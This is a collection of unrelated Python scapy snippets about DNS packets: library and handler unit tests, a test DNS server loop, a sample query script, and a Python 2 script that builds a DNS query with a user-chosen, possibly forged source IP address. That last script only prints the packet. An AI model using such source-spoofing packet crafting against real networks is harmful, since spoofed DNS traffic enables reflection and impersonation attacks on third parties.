def test_read_layers(): """ Tests the ability to read each layer """ packet = IP() / UDP() / TCP() / DNS() / DNSQR(qname="example.com") / DNSQR( qname="example2.com") / DNSQR(qname="example3.com") packet_geneva = layers.packet.Packet(packet) packet_geneva.setup_layers() i = 0 for layer in packet_geneva.read_layers(): if i == 0: assert isinstance(layer, layers.ip_layer.IPLayer) elif i == 1: assert isinstance(layer, layers.udp_layer.UDPLayer) elif i == 2: assert isinstance(layer, layers.tcp_layer.TCPLayer) elif i == 3: assert isinstance(layer, layers.dns_layer.DNSLayer) elif i == 4: assert isinstance(layer, layers.dnsqr_layer.DNSQRLayer) assert layer.layer.qname == b"example.com" elif i == 5: assert isinstance(layer, layers.dnsqr_layer.DNSQRLayer) assert layer.layer.qname == b"example2.com" elif i == 6: assert isinstance(layer, layers.dnsqr_layer.DNSQRLayer) assert layer.layer.qname == b"example3.com" i += 1
def test_packet_handler(self, mocker): """ Test the packet handler for a single DNS lookup. The lookup should be added to the list of lookups, and a packet dumpling representing the lookup should be returned. """ test_lookup_host = 'www.apple.com' packet = UDP() / DNS(rd=1, qd=DNSQR(qname=test_lookup_host)) mock_time = mocker.patch('time.time', return_value=1234567890) chef = DNSLookupChef() dumpling = chef.packet_handler(packet) # Check that the hostname is added to our list of lookups. assert len(chef.lookups_seen) == 1 assert chef.lookups_seen[test_lookup_host] == { 'count': 1, 'latest': mock_time.return_value, } # Check that the packet dumpling for this lookup was sent out, with the # correct payload. assert dumpling == { 'lookup': { 'hostname': test_lookup_host, 'when': mock_time.return_value, } }
def run(self): while True: self.enter_loop.wait() self.enter_loop.clear() if self.stopped: return p, remote = self.socket.recvfrom(1500) p = DNS(Raw(p)) # check received packet for correctness assert (p is not None) assert (p[DNS].qr == 0) assert (p[DNS].opcode == 0) # has two queries assert (p[DNS].qdcount == TEST_QDCOUNT) qdcount = p[DNS].qdcount # both for TEST_NAME assert (p[DNS].qd[0].qname == TEST_NAME.encode("utf-8") + b".") assert (p[DNS].qd[1].qname == TEST_NAME.encode("utf-8") + b".") assert (any(p[DNS].qd[i].qtype == DNS_RR_TYPE_A for i in range(qdcount))) # one is A assert (any(p[DNS].qd[i].qtype == DNS_RR_TYPE_AAAA for i in range(qdcount))) # one is AAAA if self.reply is not None: self.socket.sendto(Raw(self.reply), remote) self.reply = None
def test_stripping_trailing_period(self, mocker): """ Test that we strip the trailing period off of any host lookups. """ test_host_with_period = 'www.apple.com.' test_host_without_period = 'www.apple.com' packet = UDP() / DNS(rd=1, qd=DNSQR(qname=test_host_with_period)) mock_time = mocker.patch('time.time', return_value=1234567890) chef = DNSLookupChef() dumpling = chef.packet_handler(packet) # Check that the hostname is added to our list of lookups. assert len(chef.lookups_seen) == 1 assert chef.lookups_seen[test_host_without_period] == { 'count': 1, 'latest': mock_time.return_value, } # Check that the packet dumpling for this lookup was sent out, with the # correct payload. assert dumpling == { 'lookup': { 'hostname': test_host_without_period, 'when': mock_time.return_value, } }
''' Sample script to send a DNS query ''' import scapy from scapy.sendrecv import sendp, sniff, sr1 from scapy.all import IP, UDP, DNS, DNSQR google_DNS_service = '8.8.8.8' name_to_find = "fmi.unibuc.ro" network_layer = IP(dst = google_DNS_service) transport_layer = UDP(dport = 53) dns = DNS(rd = 1) dns_query = DNSQR(qname = name_to_find) dns.qd = dns_query pachet = network_layer / transport_layer / dns # send and recieve one packet answer = sr1(pachet) print answer[DNS].summary()
#/usr/bin/python from scapy.all import IP, UDP, DNS, DNSQR, send # Get all input about DNS package. destination_input = str(raw_input('What is your DNS server which you want to resolve from? :: ')) source_input = str(raw_input('What is your source ip address which you want to send DNS request from? :: ')) query_input = str(raw_input('What is the address which will be queried by DNS server? :: ')) # Create ip, udp and dns packages. i = IP(dst=destination_input) i.src = source_input u = UDP(dport=53) d = DNS(rd=1,qd=DNSQR(qname=query_input)) # Print all information. print "" print "Information" print "===========" print "Source IP : %s" %source_input print "Destination IP: %s" %destination_input print "DNS Query : %s" %query_input print "" print "Package details" print "===============" print "" print i.show() print "" print u.show() print "" print d.show()